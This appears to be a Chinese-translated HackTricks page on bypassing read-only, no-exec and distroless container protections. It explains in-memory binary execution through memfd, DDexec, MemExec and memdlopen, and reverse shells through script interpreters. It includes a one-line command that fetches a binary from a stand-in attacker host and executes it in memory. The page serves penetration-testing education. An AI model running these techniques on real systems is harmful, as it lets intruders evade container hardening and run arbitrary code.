hacktricks/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless
2023-09-20 23:22:05 +00:00
..
ddexec.md Translated ['linux-hardening/bypass-bash-restrictions/bypass-fs-protecti 2023-08-23 12:47:23 +00:00
README.md Translated ['linux-hardening/bypass-bash-restrictions/bypass-fs-protecti 2023-09-20 23:22:05 +00:00

绕过文件系统保护:只读/无执行权限/Distroless

☁️ HackTricks 云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥

视频

在以下视频中,你可以找到本页面中提到的技术的更详细解释:

只读/无执行权限场景

在 Linux 机器上,特别是容器中,越来越常见的是使用只读 (ro) 文件系统保护。这是因为在容器中运行只读文件系统非常简单,只需在 securitycontext 中设置 readOnlyRootFilesystem: true

apiVersion: v1
kind: Pod
metadata:
name: alpine-pod
spec:
containers:
- name: alpine
image: alpine
securityContext:
      readOnlyRootFilesystem: true
    command: ["sh", "-c", "while true; do sleep 1000; done"]

然而,即使文件系统以只读方式挂载,/dev/shm 仍然是可写的,所以我们可以在磁盘上写入内容。然而,该文件夹将以无执行权限保护方式挂载,因此如果你在此处下载一个二进制文件,你将无法执行它

{% hint style="warning" %} 从红队的角度来看,这使得下载和执行不在系统中的二进制文件(如后门或枚举器,如 kubectl)变得复杂。 {% endhint %}

最简单的绕过方法:脚本

请注意,我提到的是二进制文件,只要解释器在机器上,你可以执行任何脚本,比如如果存在 sh,你可以执行shell 脚本,如果安装了 python,你可以执行Python 脚本

然而,仅仅执行脚本是不够的,你可能需要运行你的二进制后门或其他二进制工具。

内存绕过

如果你想执行一个二进制文件,但文件系统不允许执行,那么最好的方法是从内存中执行,因为保护措施在内存中不适用

FD + exec 系统调用绕过

如果你在机器上有一些强大的脚本引擎,比如PythonPerlRuby,你可以将要执行的二进制文件下载到内存中,并将其存储在一个内存文件描述符(create_memfd 系统调用)中,这不会受到这些保护的限制,然后调用**exec 系统调用**,将文件描述符作为要执行的文件

为此,你可以轻松使用项目 fileless-elf-exec。你可以将二进制文件传递给它,它将生成一个指定语言的脚本,其中包含压缩和 base64 编码的二进制文件,以及解码和解压缩它的指令,这些指令将在调用 create_memfd 系统调用创建的文件描述符中执行,并调用exec系统调用来运行它。

{% hint style="warning" %} 这在其他脚本语言(如 PHP 或 Node中不起作用因为它们没有任何默认的调用原始系统调用的方法,所以无法调用 create_memfd 来创建内存文件描述符来存储二进制文件。

此外,在 /dev/shm 中创建一个常规文件描述符是行不通的,因为你将无法运行它,因为无执行权限保护将适用。 {% endhint %}

DDexec / EverythingExec

DDexec / EverythingExec 是一种技术,允许你通过覆盖其**/proc/self/mem修改自己进程的内存**。

因此,通过控制进程执行的汇编代码,你可以编写一个shellcode并"变异"进程以执行任意代码

{% hint style="success" %} DDexec / EverythingExec 将允许你从内存中加载和执行自己的shellcode任何二进制文件。 {% endhint %}

# Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar

有关此技术的更多信息请查看Github或

{% content-ref url="ddexec.md" %} ddexec.md {% endcontent-ref %}

MemExec

Memexec 是 DDexec 的自然下一步。它是一个 DDexec shellcode 守护进程,因此每当您想要 运行不同的二进制文件 时,您无需重新启动 DDexec只需通过 DDexec 技术运行 memexec shellcode然后 与此守护进程通信以传递要加载和运行的新二进制文件

您可以在 https://github.com/arget13/memexec/blob/main/a.php 中找到一个使用 memexec 执行来自 PHP 反向 shell 的二进制文件 的示例。

Memdlopen

与 DDexec 目的类似,memdlopen 技术允许以更简单的方式将二进制文件加载到内存中,以便稍后执行它们。它甚至可以加载具有依赖关系的二进制文件。

Distroless Bypass

什么是 distroless

Distroless 容器仅包含运行特定应用程序或服务所需的 最少组件例如库和运行时依赖项但不包括诸如软件包管理器、shell 或系统实用程序等较大的组件。

Distroless 容器的目标是通过消除不必要的组件来 减少容器的攻击面,并最小化可以被利用的漏洞数量。

反向 Shell

在 distroless 容器中,您可能 找不到 shbash 以获取常规 shell。您也不会找到诸如 lswhoamiid 等二进制文件... 这些通常在系统中运行的所有内容。

{% hint style="warning" %} 因此,您将无法像通常那样获得 反向 shell枚举 系统。 {% endhint %}

但是,如果受损的容器例如运行了 Flask Web则已安装了 Python因此您可以获取 Python 反向 shell。如果运行了 Node则可以获取 Node 反向 shell其他 脚本语言 也是如此。

{% hint style="success" %} 使用脚本语言,您可以使用语言的功能 枚举系统。 {% endhint %}

如果没有 只读/无执行 保护,您可以滥用反向 shell 来在文件系统中 写入您的二进制文件执行 它们。

{% hint style="success" %} 然而,在这种类型的容器中,通常会存在这些保护措施,但您可以使用 先前的内存执行技术来绕过它们。 {% endhint %}

您可以在 https://github.com/carlospolop/DistrolessRCE 中找到一些利用 RCE 漏洞 获取脚本语言 反向 shell 并从内存中执行二进制文件的 示例

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥